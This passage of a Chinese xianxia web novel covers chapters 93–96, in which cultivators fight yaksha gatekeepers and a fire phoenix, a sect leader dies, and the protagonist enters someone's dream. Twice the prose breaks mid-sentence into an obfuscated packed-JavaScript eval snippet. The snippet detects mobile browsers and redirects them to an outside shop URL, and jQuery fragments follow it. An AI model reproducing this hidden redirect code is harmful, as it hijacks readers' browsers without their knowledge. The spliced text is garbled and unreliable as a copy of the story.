一道术法未中,她没有丝毫迟疑,闪身避开了一帮夜叉拿着铁叉子刺过来的动作,执扇作武器,硬是将身前身后几柄叉子给震开了。 空行夜叉怪叫一声,语气中还隐隐透着兴奋:“有点厉害啊这个!长得也好看!让我吞了多好?” 地行夜叉正乒乒乓乓跟燕煦泽过着招,破锣嗓子喊道:“你个死鬼!啥时候了还想着这个!能不能打不打得过再说——我的老腰!” 公仪岭看了片刻,也就知道这群夜叉多少修为了,也难怪会被尹景轩派来看大门,怕是至少已经在此地呆了百余年,才会这样不好对付。 他立刻跃下树干,在地面上对其他人招手,唤了一声:“别看戏了!一起上!早打完早救人!” 93.迷雾遇火凤 佳人梦幻境(二) 公仪岚对他一点头,话不多说直接拔出彻云剑帮忙去了。 面前一下子又多了一帮人,两夜叉大惊,鬼叫道:“怎么还有这么多帮手?!” 公仪岚来势汹汹,剑锋凌厉,灵气散漫的同时,手中彻云剑也随着口中法诀,催动成了无数分身,直冲那群夜叉而去。 公仪岭也不甘落后,双指合并掐诀驱使归云,就朝夜叉劈去。那空行夜叉唯恐避闪不及,直接拍打着翅膀凌空飞起,手中铁叉舞地直叫人眼花缭乱。两兵相接,□□撞在一起,力道之大竟然迸发出了微微火光。 空行夜叉也不知是兴奋还是惊恐,大声道:“哎哟,这俩小白脸仙人都这么厉害!别叫我逮着机会扒了你们的皮,给我自己用!” 公仪岭大怒:“说我小白脸?你还小牛脸呢!!!” 公仪岚神色如常,凝神操控着剑气,对公仪岭道:“阿岭别被他们说的话影响,运气使剑之时要心无旁骛!” 两人攻势又快又猛,那空行夜叉很快就招架不住,败下阵来,被公仪岚一剑架在了脖子上。 公仪岭呵斥道:“你个张口就来的牛头夜叉,给我乖乖束手就擒!我们可以饶你们一条命!” 空行夜叉嬉皮笑脸,声音尖锐:“拦不住你们的话,回去也横竖都是死路一条!当我们看大门的命不是命啊?!” 公仪岚冷肃道:“你们投降,我们就不杀你们。” 那边正在被燕家的三人围殴、打得满地乱窜的地行夜叉怪叫道:“信你们有鬼了!现在都打得这么狠!” 承悦在旁附和了一句:“打的不狠你们怎么服?” 公仪岭喝道:“你们两个死鬼,不要敬酒不吃吃罚酒!” “阿岭你跟他们废什么话?全捉了再说!” 齐元白双手捻符,顷刻间手中灵气聚集,口中默念法诀,一声大喝:“去!”那几道黄符便如飞矢一般凌空飞去,贴到了一排小夜叉的额头上,令它们身形一滞。 “定的好啊。” 既是活捉,燕煦泽就没有下死手,现在游刃有余地与这些夜叉交着手,还抽空夸了齐元白一句。趁着夜叉被齐元白定住的空当,直接把面前的那夜叉撂翻在地。 齐元白却在这时皱眉道:“这地方削了我的仙力,我和阿鸢的符纸怕是撑不了多少时候,不能把他们全部定住。” 燕煦泽微微一笑,轻描淡写道:“无妨,既然是问路,留下它们两个领头的就好了,其余的,一个不留。” 燕蓉闻言怔道:“师兄,我们此行既是交涉,若是先在此斩杀了尹景轩的部下,怕是……” 燕煦泽尚且还掐着地上夜叉的脖子正要拧断,听到燕蓉此言,手上的动作一停。 他凝眉道:“师妹,我知道你的意思,但是现下在此地我们仙力大减,怕是不好将他们全部控制住,我担心,如此纠缠,未免浪费时间。” 燕蓉静默片刻,手中折扇一转,将身旁一个夜叉掀翻到了一边,它滚落在地,痛得嗷嗷直叫。 燕煦泽见她犹豫,只得转头去问燕修远:“师父,怎么办?” 燕修远眉头紧锁,他们现在受制于人,事关燕婉的性命,确实是不可大意,思虑后就道:“先不杀,想法子控制他们再说!” 空行夜叉嘶声尖锐道:“想得真美!还想控制住我们,有那个本事吗你们!” 地行夜叉也大吼道:“你们给我等着!等我回去不找大家弄死你们!” 公仪岭嫌他们吵,飞起一脚踢在它们胸口:“闭嘴!” 齐元白道:“如果往他们身上多贴几张的话,应该能拖延一段时间。” 纪景明却在这时出声:“想要控制住他们,方便脱身,这有何难?” 公仪岭被他这自信的话说得一呆,转而就想起来什么,直接对纪景明旁边拿着叱灵琴的纪银灵叫道:“快!快弹你们宗门的那个!” 曲名公仪岭给忘了,不过意思反正是表达到位了。 六弦阁对这类东西自有一套控制之法,纪银灵明白他说的是什么,手指划过琴弦,奏起了曲调。 她开了个头,纪景明和其他三位弟子很快就跟上一起弹奏起来。 六弦阁众人合奏的曲子很快便起了作用,至少那两个夜叉身后的几个小夜叉很快就呆在原地不动了。 空行夜叉一张牛嘴对他们呸道:“打不过就用法器!有本事真叉真剑地打啊!” 地行夜叉被公仪岚按着,扭着身子瞪着三角眼,喊道:“杀鬼啦!杀鬼啦!我要回去告诉尊主!” “嘿!” 公仪岭被这俩夜叉逗乐了:“刚才你真叉真剑地也不见打过我大哥啊!在这儿瞎嚷嚷什么?” 俩夜叉压根不理他说了什么,还在犹自嚷嚷。 空行夜叉道:“还想让我们指路!我呸!做梦!” 地行夜叉道:“就是!就是!给你们指了路,我们回去也是没命了!” 公仪岭唰地抽出归云,手腕一抖直接剑指着地行夜叉的咽喉,转头对另一个威胁道:“你不指路的话,我当你面就把他杀了。” 空行夜叉叫声越发凄厉:“你!你个当仙人的居然如此狠心!那可是我的好兄弟!” 地行夜叉也凄厉道:“为啥指我啊!你指它啊!!!” 公仪岚皱眉,一道法诀暂且封了他们的声音,说道:“这两个鬼这么嚷嚷,应该是想吸引同伴过来帮忙。” “唔唔唔!唔唔唔!” 两夜叉瞪他,手舞足蹈指着自己的脖子,想让公仪岚解开法咒。 燕渊道:“要问他们路的话,把它们声音封了可怎么问?” 公仪岭哼笑道:“问不了也比他们瞎嚷嚷好,万一把方圆十里所有的妖魔鬼怪都吸引来了怎么办?我们就这么点人,可不能以一敌百!” 公仪岚镇定道:“无妨,它们双手健全,指个方向而已,何至于需要用嘴?” 众人听他说得有理,连连点头。 燕煦泽望了望四周,沉声道:“我们方才在这里闹出这么大动静,林子里的东西多半已经在往这里赶了,事不宜迟,还是先离开这里为妙。” 燕蓉应声:“好!” 公仪岭执剑挑起地行夜叉的下颌,悠然问旁边的空行夜叉道:“你兄弟可在我手上,指个路呗。” 空行夜叉仰头瞪他,没伸出手。 燕煦泽勾唇,对空行夜叉笑道:“不说就把你兄弟先杀了,再把你杀了。反正后面还有这么多小夜叉,总有一个嘴不严的 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“什么?难不成是这个死牛头故意给我们指错的方向?” 公仪岭剑锋一偏,毫不客气地指向了空行夜叉:“说,你要把我们往哪里引?” 空行夜叉嘴里“唔唔”,一通比划,可惜谁也没看懂。 公仪岚伸手解了法咒:“说。” 空行夜叉堵住的喉咙猛然一松,吱吱呀呀就叫唤了起来:“当然是把你们往出口引啦!” 公仪岚肃声质问:“那为何这里如此炎热?何况,往前看也是白茫茫的一片,根本就不像是出口的样子。” 空行夜叉尖声大笑起来:“因为你们得打过那只死鸟,才能走出去啊!哈哈哈哈!!!” 公仪岭神色一凝,瞬间就想起来这俩夜叉开头闲聊的两句话,对众人道:“不好,它们说的那只死鸟,应该就是这边守着的妖兽了。” 燕修远道:“这么炎热的飞鸟妖兽,我之前倒是听说过,竟不知道玄霄殿也养了此兽,还用来看大门?” 燕蓉一愣:“师父,你说的那妖兽是……?” 燕修远未答,燕煦泽便与她道:“应当是赤炎真火凤。” 他说完,燕蓉也沉默了。 养神兽这个事情也常见,仙家就有很多在宗门里豢养了各类神兽的,像他们紫阳宗就在琼华岛养了一只九宫青狻猊,抱元门也养了只碧海苍鸾。但这些神兽都是被好吃好喝供着,在宗门里当吉祥物的,还从未听说过有哪一家是特意养来看大门的。 燕修远摸着下巴喃喃自语道:“煦泽啊,你说咱家的青狻猊,要不也……?” 燕煦泽似乎对自家师父的各种奇思妙想已经少见多怪了,十分镇定的答道:“师父,青狻猊挑食,可是非后山的走兽不吃的。” 燕修远遗憾道:“那就算了。” 公仪岭见他们跑题,忍不住提醒道:“现在可不是关注这个的时候,这夜叉刚刚可说咱们得打过那只赤炎真火凤才能出去呢!” 他的话音刚落,陡然觉得面前火光一闪,一阵热浪袭来,惊声道:“不好!”下意识就收了剑往后腾空倒翻出去,避开了如浪潮般席卷而来的灼热气息。 94.迷雾遇火凤 佳人梦幻境(三) 而被他挟持的空行夜叉等待的正是这个时机,直接拉着地行夜叉一溜烟逃了。 其他人也没好到哪里。大家还以为没到火凤的老巢,还没警惕起来的时候,就已经变故横生。像紫阳宗几个一瞬间就拿着扇子挡住了脸,一连往后跃出数丈,勉强立定。 树林上空的那东西盘旋落地,公仪岭心中惊诧,顿感脚下一震,就连地上堆积的落叶也被震得悬空了片刻,才抖落了回地面。 纪景明又惊又怒:“这东西有这么大?!” 他的声音立即就吸引了火凤的注意,它缓缓扭过修长的脖子,一双鲜红的凤眼直勾勾地盯着纪景明,像是在确认着什么。 这火凤的每一片红色羽毛上都带着燃烧的火焰,公仪岭乍一看,还以为是谁家的巨型山鸡被火燎了。不过,这其中的区别就是,山鸡被火烤了会散发出肉香,而这火凤不仅没什么烤焦的香气,伴着身形流动的赤色火焰,显得更加壮丽威严了。 公仪岭低声道:“我看书上……也没把这玩意画的这么大啊……” 他能从书上知道这只鸟实属不易。 这还是因为他小时候,听说别的宗门都养灵宠神兽之类的,羡艳不已,特意去问了爹娘说云灵山能不能也养一个。 甚至那几天还将什么《神兽图鉴合集》给看完了,巴巴地等着选个什么养好。 结果当然是被义正言辞的拒绝了。 公仪拓当时是这么说的:“谁家养神兽不是拿上好的灵兽灵草供养着的,家里养你们两个就不错了,再多一个该揭不开锅了。” 公仪岭试图抗议,最后以大哥获得了两只灵雀、自己获得了三只灵王八这样的结果将此事收尾。 而那本图集上,自然也没详细说明这火凤究竟多大一只了。 这只火凤一展翅,将上方本就遮得严实的树冠也一整个遮挡了起来,几乎能够遮天蔽日,它一转身,那长长的尾羽必得擦着树干才能转的过去,看得公仪岭都免不了开始担心起来它尾巴上的烈焰给这片林子点燃了。 好在这林子应该是被尹景轩下了术法,即便被烈火燎到,也并没有点燃树木的趋势。 公仪岭思虑了片刻,觉得这火凤若是放在云灵山,怕是能直接把整个演武场和云灵殿都占了,也难怪爹娘不让养了。光是刚才它直勾勾盯着纪景明的时候,都已经让公仪岭觉得,纪景明没准还没它头上那两片羽毛高。 这样的神兽,如何能打得过? 众人不敢大意,各自手中拿着法器瞪着眼与它对视。 火凤一双眼与他们对望了半天,似乎确认了他们外来者的身份,当即就仰天嘶声长鸣,扑腾着翅膀凌空而起,脚下利爪朝着纪景明狠狠抓去! 纪景明手拿着乌木琴,见火凤直冲着自己而来,慌忙执琴闪避,扭头大骂道:“这死凤凰追着我打做什么?!你们还愣着干什么!快来帮我!!!” 齐元白吼道:“你还好意思说,没事出声惊扰它做什么?!” 就连燕渊也十分痛快地骂了一句:“蠢不蠢啊你?我都知道这时候得闭嘴!” 公仪岭:“……” 火凤见他闪避,更是不依不饶,穷追猛打,不仅把他当虫子用喙猛啄,口中时不时还喷出一团火,恨不能将他连衣服带人一起烧了。 纪景明到处乱窜躲避着,压根没功夫弹琴奏曲反击,只能咬牙对纪银灵喊道:“你快点帮把手啊!” 纪银灵眉头紧蹙,没有应声,但手已经抚上了叱灵琴。 纪景明嚷道:“试试《慰灵》!” 公仪岭这才想起来原来那曲子的名字叫《慰灵》,是六弦阁专门用于对付妖兽或是凶灵的曲子。想着他们一群人在旁边观战也不好,对其他人道:“大家试试,看能不能把火凤的攻击对象换一换!” 纪银灵已经开始奏起了慰灵曲,而旁边几家也都纷纷用法器法诀去攻击那火凤。 公仪岭手中捏诀,凝神聚气操控着归云剑气,每一道白刃都精确无比地割向了火凤的脖颈。 他虽不知这东西哪里才是要害,每个地方多砍几下总没问题。 也不知道到底是慰灵起了作用,还是其他人五花八门的术法起了作用,那火凤果然不追纪景明了,脖子一扭,凤冠上的流火凤羽簌簌抖动起来,鸣叫着就朝着几人的位置喷出了巨大的火焰。 它动作快而迅疾,根本不等他们反应过来,那明晃晃的一片火海就朝着众人扑面而来! 公仪岭提剑想挡,口中惊声道:“这么快?!” 公仪岚急声道:“阿岭,小心!” 燕蓉脱口道:“师——师父!” 这声师父刚脱口而出,燕修远就已经闪身侧步,挡在众人身前,周身灵力奔腾倾泻,手中灵扇高高扬起,奋力往前一挥,登时迷雾林内狂风大作,就连浓厚的雾气都因此看起来吹散了一些。 劲风呼啸而去,直接将那火海掀了回去,顺便还叫那火光愈燃愈烈,反手烧在了火凤自己身上,催断了身后的一片树干枝丫。 公仪岭放下手中归云剑,瞠目看着刚才这一幕,心道:“怪不得爹娘说他性格有毛病,也从来没说过他一句实力不济呢。” 又想起燕蓉此前说的紫阳宗先辈的几位女宗主,不由暗暗心惊:在他们宗门尚且不算特别厉害的燕修远都如此了,也不知几位前辈该是何等仙资。 然而,即便是燕修远驭风将迅猛的火焰暂且挡了回去,还是有几人被那烈火所伤。 燕蓉不敢大意,用浮光青玉扇一扇,扇面上的灵气瞬间化作了丝丝水滴,直接浇向了那些火焰。 然而,没有用! 火凤口中喷出的火焰乃是涅槃业火,根本不是这样寻常的水系术法能够浇灭的,若是被这业火烧到的话,运气好是留下疤痕,运气不好那就是烧得连骨头渣都不剩了。 燕修远喊道:“没用的!这火必得甘露水才能熄灭。” 听他这话,公仪岭也在心中捏了把汗。 看样子,寻常的术法只能击退它,很难将它一击必杀了。而这东西浑身都是业火,他们剑修之人也极难近身,一不留神的话,手中灵剑说不定都被烧成废铁了。 “嘶——” 齐清鸢原先想伸手拍个符咒过去,谁知那黄纸被火一燃,化成了黑灰不说,反倒还燎伤了她自己的手臂。 她尚且如此,另外两个六弦阁的弟子也不好过,一个捂着脸嗷嗷乱叫,另一个则是掩着心口,拍打着身上的火。 燕煦泽看着身侧被燎到的几人,眉头紧锁,问师父道:“师父,他们都被伤到了,怎么办?” 齐元白扣住清鸢的手臂,检查着她的伤势。见手臂上那火尚未熄灭,急声道:“现在哪里来的甘露水!还有没有别的办法先治一下?清鸢手上可不能留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665677|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疤了!” 燕修远一边扇风,一边大喝:“把受伤的先带远一些!渊儿,你去试试看用术法先把他们的伤势压下去!” 公仪岚闻言,也侧目对承悦说道:“承悦,你去帮齐宗主照顾一下受伤的,看看能不能用灵力把那火伤压制,不要让它越来越严重!” 承悦一点头:“好!” 而被点名的燕渊,在刚刚因为害怕逃得快了些,运气好没被烧着。刚喘了口气压下心中的惊骇,就看见那火势被风吹得越来越旺,不由叫道:“爹!你先别吹风了!这火越来越大了!” 燕蓉的水术法也只能起到微小的作用,逼退火焰的速度还不及狂风助长的速度,连忙出声:“师父,你先停手!” 公仪岚也意识到了这一点,眉目沉沉,持剑扭头,对燕修远道:“燕宗主,现在的情况恐怕不能用风系的法术,您先暂且回避一下吧。” 燕修远无奈,却也只能点头,招呼燕渊去查看其他人的伤势。 公仪岭与大哥两人无法让灵剑去靠近那火凤,也只能驱使灵剑的剑光分身来对火凤攻击,只是如此一来,效果就大大折扣了。 他暗道了一句:“当真棘手。”却也没想出来更好地应对方式。 眼下仅有纪银灵依然还在弹奏着慰灵,虽然效果看起来并没有那么明显,但还是聊胜于无,能够勉强把它控制在原地发狂。 纪景明刚刚被追了一轮,正躲在一棵树后面大喘气,哪里还有心思奏什么慰灵。而他身后的三个随从则是没得他的令,也不能擅自去帮纪银灵忙。 公仪岭压根没管这些,直接对着纪景明吼道:“愣着干嘛?快弹曲子帮忙啊!” 纪景明被他吼得一愣,还是颤着手开始弹奏了起来。 他不知是惊惧还是忘曲,总而言之弹得杂乱不堪,不忍卒听。公仪岭深深叹了口气,都不敢再指望这位名不副实的宗主帮上什么忙了。 另一边没受伤的那位六弦阁弟子,还在满头大汗地随着他们弹琴,忍不住大声问道:“诸位宗主,这火凤没什么弱点能利用的吗?怎么说也得想个办法啊!” 公仪岚道:“凤凰的心脏是弱点,但……现在这样,我们恐怕刺不穿它的心脏。” 说话间,那火凤几番下来,都没从他们身上讨到便宜,气得目若喷火,忽而暴起,拍打着一双羽翅就朝着众人席卷而去。 纪景明不敢大意,手上琴弦一抹,顿时换了个凌厉曲调。那琴音凌空而去,竟是化作一道道实体,光芒宛如利刃一般割向了面前的火凤。 公仪岭看得眉毛一跳,心说这小子还算有几分聪明,听到大哥说的话,竟是想到了用这样的办法来攻击到凤凰的心脏。 那火凤没想到他们突然变调,避闪不及,竟被音刃削去了翅膀上的几片火羽。 公仪岚一见此法有用,不容置疑对其他几人喊道:“继续攻击!不要停!” 他们的意图明显,纪景明的音刃锋利如刀,这妖兽又如何不知?很快就被众人激怒,一边闪避着攻势,一边十分恼怒地扑向了对自己威胁最大的纪景明。 纪景明见势不好,匆忙收琴,旋身朝着最近的一棵树后躲避。谁知火凤翅膀一扫,利爪生生就直接将大树给掰断了。 他不得不在另一棵树上借力一蹬,就朝着另一边飞去。 忽而听到纪银灵惊声大喊:“宗主,小心!” 95.迷雾遇火凤 佳人梦幻境(四) 只可惜已经迟了,纪景明尚还在空中没有着陆,猝然回头间,就见身后火凤离他不过几尺距离,漫天火光映入眼帘。还没来得及尖叫出声,下一秒他的身子就被一双赤红色的爪子抓住提起,一下子拖地离地几丈高。 “救我——!!” 纪景明目眦欲裂,凄厉大喊。 其他六弦阁弟子也叫道:“宗主!——” 公仪岭他们在下面也是左右为难,为了不误伤他,剑光都收敛了一些,然而收效甚微,几乎无可奈何。 其他人进退两难不知该如何施救,纪银灵却是不能不救。 她眼底掠过一丝凝重后,叱灵琴光芒大绽,只听“砰”的一声琴弦震动之声,手中慰灵一曲竟被自己硬生生中断,片刻后,扬手自琴弦上一扫,数道音刃发出锐利的光,自琴弦而出,几乎划破长空,所过之处,无物不破。 公仪岭望向远处齐齐被切断的粗壮树干,只觉心惊肉跳。 不愧是六弦阁最强的弟子啊。公仪岭暗暗想着。 叱灵琴的音刃尽数打到了火凤身上,那赤炎真火凤痛得嘶声大叫,喷发出大量火焰,底下赤红爪子没有丝毫松动,反倒是越抓越紧了。 纪景明从一开始的惊叫,到后面逐渐力竭,在半空中盘旋晃荡了多时,几乎昏死过去,半点声音也发不出了。 公仪岭担忧地看着他,急道:“我们也攻击他的爪子!看看能不能逼它把人放下来!” 那几名六弦阁弟子悚然道:“万一它吃痛,发了狂伤到我们宗主该如何?” 公仪岭道:“那不然呢?!不上看着他死吗!不管有没有用,先往那打了试试再说!” 然而,还未等他们出手,纪银灵那边的道道音刃就已经惹恼了火凤。 纪银灵尚且在凌空抚琴,猛然间见面前的火凤周身烈焰暴涨,振翅探头就朝着纪银灵吐出一大团火球。 她侧身想避,却没想到火凤脖子一歪,真正想要攻击她的是喙!那赤炎真火凤巨大的喙迎面而来,眼看着就要将自己叼起,纪银灵反应不及,几乎避无可避。 千钧一发之际,凤喙却突然被一柄灵剑错开。随后,她便觉一股巨大掌力袭来,身形一歪,直接被人一掌推了出去! 纪银灵震惊不已,好不容易在半空中稳住了身形,屈膝落在地上,这才抬眼往上看去。 只见灵剑归云在错开凤喙后,重新被公仪岭召回手中。公仪岭手持归云,继续与那火凤交手缠斗,还不忘抽空低头对公仪岚大喊道:“大哥!接一下!” 其余人还没反应过来公仪岭是什么意思,公仪岚就已经借着树干跃起,飞快穿梭其中,纵身将还没落地的纪银灵接了下来。 公仪岚将她扶稳,见她神色惊惶颇为后怕,便柔声安抚了一句:“纪姑娘,再坚持一下继续弹,现下我们恐怕只能靠你了。” 然而公仪岭那边情况紧急,只能勉强应对火凤给他们留出救人空隙,公仪岚心中担忧,说罢,他就自地面腾空而起,控制着彻云剑自凤凰尾部进攻,分散弟弟那边的压力。 纪银灵面色一滞,双手因为刚才的抵抗依然不住地颤抖,她极力稳住心神,凝神聚气,准备再次抚琴。 只是那指尖还未触碰到叱灵琴弦,赤炎真火凤就在他们这一瞬间琴音的空白中摆脱了琴声控制。凤喙没有讨道公仪岭半分便宜,但那双爪子在暗处陡然发力,竟朝着纪景明的胸口狠狠刺去! “宗主!!!——” 六弦阁几名弟子见此场景惊声尖叫,一个踉跄没站稳摔在地上。其中一名弟子还拼命往那边爬,却被空中那双利爪遼过,双腿被拉出几道长长的口子,顿时血流如注。 那弟子吓得哀嚎一声,直接昏死在了原地。 燕蓉担心那被吓晕的弟子再度遭到毒手,手中扇子一扇,灵力化作流光,暂且在他身侧布下法力结界,护了他周全。 “纪景明!” 公仪岭惊愕万分,如此情形,完全出乎了他的意料。 他看着那沾满了鲜血的利爪狠狠抽出,露出纪景明胸口刺出的那个大洞,随后,那双利爪毫不拖泥带水地将他摔到了地上。 虽然纪景明之前与他有过口舌之争,而他又不大看得上这位名不副实的宗主,却从未想过…… 纪景明重重倒在地上,脸上还凝固着死亡前惊惧的表情,双眼睁得老大,瞳孔却渐渐涣散了。 他死了。 在六弦阁众人的哭号声中,他握剑的手都变得冰凉无比,仅凭着本能去应对面前火凤的攻势。 只是,如此应对,未免带了些迟疑。 火凤丢掉了爪上重物后,劈头盖脸就抓向了面前的公仪岭!只因这一瞬间的迟疑,公仪岭应对不及,虽然朝旁边勉强闪避开来,但左手还是留下了极深的三道爪痕。 “阿岭!” 公仪岚心急如焚,驱着剑影直切火凤眼睛。火凤的眼睛被那明晃晃的剑一闪,往后倒飞了数尺,公仪岭这才有了些许应对的机会,一道剑气扫出,将火凤暂且逼退。 公仪岭从半空落下,三步并作两步赶到了纪景明身旁。 众人都在围着纪景明旁边,燕修远见他过来,放下了施法的手,对公仪岭缓缓摇头。 “……没、没救了吗?” “我们宗主……死了吗?” 六弦阁弟子抹着眼泪,结结巴巴地问道。 燕修远叹息道:“等此事了结,将他带回六弦阁,安葬了吧。” 公仪岭心中一凉,刚欲开口说些什么,就听到远处倏然传来一阵悠长琴音。 几人循声望去,只看了一眼,便怔在原地。 “怎么回事?!” 承悦最先惊呼出声,不敢置信地看着那边。 公仪岭浑身一震:“这是…….” 只见叱灵琴灵光大盛,琴身灼灼,竟如仙障般将纪银灵一整个罩在其中,将她与火凤隔绝开来。那火凤疯了一般往前扑,却无法击破屏障,半点都近不了纪银灵的身。 纪银灵悬空而立,手执踏雪叱灵琴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13672887|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,身姿轻盈飘逸,衣袂迎风飞舞。 她双目紧闭,公仪岭看不出她神色是悲是喜,只见她指尖一刻不停,或轻捻或扫弦,攻势依旧密集。 纪银灵手下叱灵琴琴身微微震颤,像是也察觉到了她周身变化。她只觉仿若腾起一股热流,沿着全身经脉四下游走,身体也因此缓缓变得灼烧起来,将身上所有的灵力都燃得沸腾起来。 而这状态,转瞬间便又温和起来,那灵气先是灼热难耐,又一寸一寸凉了下来,灵台所有的混沌之气被着一片清凉一扫而空。转眼间,五感通透、灵识明朗,周围每一片落叶、火凤的每一下动作都清清楚楚地刻在了她的脑海中。 燕煦泽肃然道:“她突破境界了。” 公仪岭震撼过后,便是大喜过望。 他万万没有想到,在这样关键的时候,纪银灵竟然突破了境界,修为大涨。 如此一来,想要制服这只赤炎真火凤,就多了几分胜算! 公仪岭立刻提剑,想要上前帮忙,却被公仪岚拦住。 公仪岭不解:“大哥?” 公仪岚凝声道:“纪姑娘现下刚精进修为,正凝神聚气与那火凤斗法,我们擅自靠近的话,恐怕不仅难以帮上忙,还容易反伤自身。” 公仪岭有些急切:“那该如何?大哥,总不能眼睁睁看着纪姑娘与它单打独斗,我们却什么也做不了吧!” 说罢,也不知为何,他竟然蓦然觉得有些头晕目眩,脚下一个踉跄,险些没站稳跪倒在地上。 “你怎么了?阿岭?” 公仪岚神色紧张,连忙将他扶住。 公仪岭一晃神,摇了摇脑袋,抚了一下额头,缓缓道:“我没事。” 说完,抬头努力去瞧半空中一人一凤的战况。 纪银灵破境后,法力愈盛,琴声也更加锐利,几道音刃凌空而去,直攻火凤心脏的位置。 那火凤几番乱战下来,已有筋疲力尽之态,稍有动作迟疑之时,就被纪银灵和旁边众人见缝插针的法术攻击所伤。最后,趁它妖力枯竭、身上火焰将歇之时,齐元白自掌心画出几道符形,翻手将其推出,暂且将火凤给定了下来。 燕蓉问道:“这符能定它多久?” 齐元白道:“它现在妖力大减,想来控制它两刻钟是没有问题的,只是我也没办法确定它什么时候会恢复。” 纪银灵见火凤终于垂头落地,动弹不得,心弦陡然一松,周身的屏障也逐渐消退,收起琴落在了地上。 公仪岭上前道:“纪姑娘你……你没事吧?” 刚说完,他视线下移,立刻就看见了她身上白衣豁开了许多血口,显然伤势不轻。 她口中呕出一口鲜血,露出了一个苍白的淡笑,甚至都没来得及与他说什么,就已经昏厥了过去。 “纪姑娘……!” 公仪岭伸手想扶,谁知刚刚那阵眩晕的感觉竟然又上来了,他脚底发虚,手上也不受控制地发软起来,随后,两眼一黑,就陷入了一片无尽的黑暗之中。 96.迷雾遇火凤 佳人梦幻境(五) 公仪岭不知道自己现在身在何处。 他仿佛在极夜之中行走了许久,目光所及之处都是如墨般的漆黑,也不知道自己到底走了多久,直到眼前突然出现一点亮光,紧接着,那一点亮光越来越大,覆盖了他整个视野,他才终于脱离了黑暗。 白光缓慢从他的眼中消退,在他面前取而代之的是一间破屋。 公仪岭站在屋子外,看着破屋上面稀稀拉拉,根本遮不了雨的茅草和旁边的断垣残壁,愣了许久。 这是哪儿?这什么屋子? 他分明记得自己是云灵山上的二师兄、是宗主次子。就算是从前他下山去云灵城里除妖邪的时候,偶尔住破庙破观凑合过上几夜,也从来没见过如此破落的屋子! 这破屋上深深陷进去的木门也没关牢,正巧一阵风吹过,被吹得吱呀作响,一下一下拍打着门框。 公仪岭觉得自己估计是没睡醒走错地方了,擅自进别人家门也不太好,正想转身离开,却听到屋内传来一阵哭声。 这哭声听起来十分稚嫩,里面包含的悲恸之情却分毫不少。一开始还只是呜咽着,没过多久,那哭声就拔高了三个调,说是号啕大哭也不为过。 公仪岭被这声音哭得头晕脑胀,想走却又担心是谁家小孩出了什么事情,几番犹豫过后,还是在门外叹了口气,默默道了一声:“得罪了。”随后就伸手去推那扇木门。 谁知他使劲一推,这看起来薄薄的、一吹就倒的木门却纹丝不动!公仪岭诧异之余,又伸手去推,结果他的手竟然宛如虚体一样,直接穿门而过。 他傻了。 他明明记得,自己还在跟大家杀那只赤炎真火凤,打斗过程中除了被火凤的爪子挠了三道伤口以外,并未受到什么致命伤,怎么突然一下子就魂魄离体了? 公仪岭不敢置信,随即毫不犹豫抽回了手,在自己的胳膊上狠狠扭了一下。 想要判断是不是魂魄离体,最好的办法就是自己打一下自己。而公仪岭在扭了一下胳膊后,痛得差点没叫出来,拼命捂住了自己的嘴才没发出声音。 魂魄是感觉不到痛,也摸不到自己的皮肤的,如此看来,他应该不算魂魄离体。 公仪岭松了口气——只要自己没死就行。 只不过,他现在还是没闹明白这是怎么一回事。公仪岭在外面稍微犹豫了一下后,直接穿过了木门走进了破屋。 这破屋四四方方、一览无余,里面仅有一张矮床和一张桌子,公仪岭刚进去便看见了床上正躺着一对中年夫妇,面目灰白,嘴唇没有一点血色,看起来已经离世多时了。 而他在屋外听到的哭号声,正是从那倚靠在床前的一个五岁孩童发出来的。 公仪岭走近了些,发现这孩子约莫只有五六岁的样子,虽然住在这么破的房子里,身上的布衣却干净整洁,头上的两条小辫也梳地整整齐齐,一看就知是个父母疼爱的孩子。 但是现在…… 公仪岭伸手去探了探那对夫妇的鼻息,感受不到一点呼吸,心中叹了一声:“真是个可怜的孩子啊。” 这小女孩也看不见他,哭得累了就蜷在父母床边睡了一夜。如此过了一夜后,她的肚子咕咕叫了两声,揉着哭红的眼睛摸了摸肚子,费力地爬起身朝灶台跑去。 灶台上公仪岭早就看过,里面什么也没有。小女孩爬上去找了半天一无所谓,睁着一双茫然的眼睛对着空气发起呆来。 公仪岭摸了摸身上才发觉他们这趟出门压根没带吃的,他就算想帮忙也有心无力。 小女孩在灶台上坐了许久,最后一骨碌翻下了灶台,推开门就跑了出去。 “哎——” 公仪岭被她突如其来的举动弄得一愣,连忙追了上去。 这么小的孩子乱跑出去,周围若是没个人看管的话,在林子里遇到野狼可就糟了。出乎他意料的是,这小孩看起来对进城的路十分熟悉,沿着土路跌跌撞撞一路走,居然真的领着公仪岭进了城。 这座城公仪岭并未来过,看起来十分陌生,在跟了小女孩一段路后,就瞧她累得在石板地上一屁股坐了下来,休息了许久以后,才咿咿呀呀说着含糊不清的话,跟旁边卖菜的大娘讨吃的。 卖菜大娘心善,周围看了看没瞧见她的爹娘,见她可怜,就顺手递给了她一根白萝卜。 她饿惨了,压根顾不得找条河洗一洗萝卜,捧着脏脏的萝卜就费力地啃起来。 自此,一连十日,她都十分准时地到这里讨饭吃,等到了夜幕降临才回家里去。 而公仪岭,也就这么跟了她十日。 至于自己究竟是怎么一回事,这么久他也搞明白了,十之八九是他误入了别人的梦境之中,才会让他变成这样既不算实体,也不算虚体的样子。 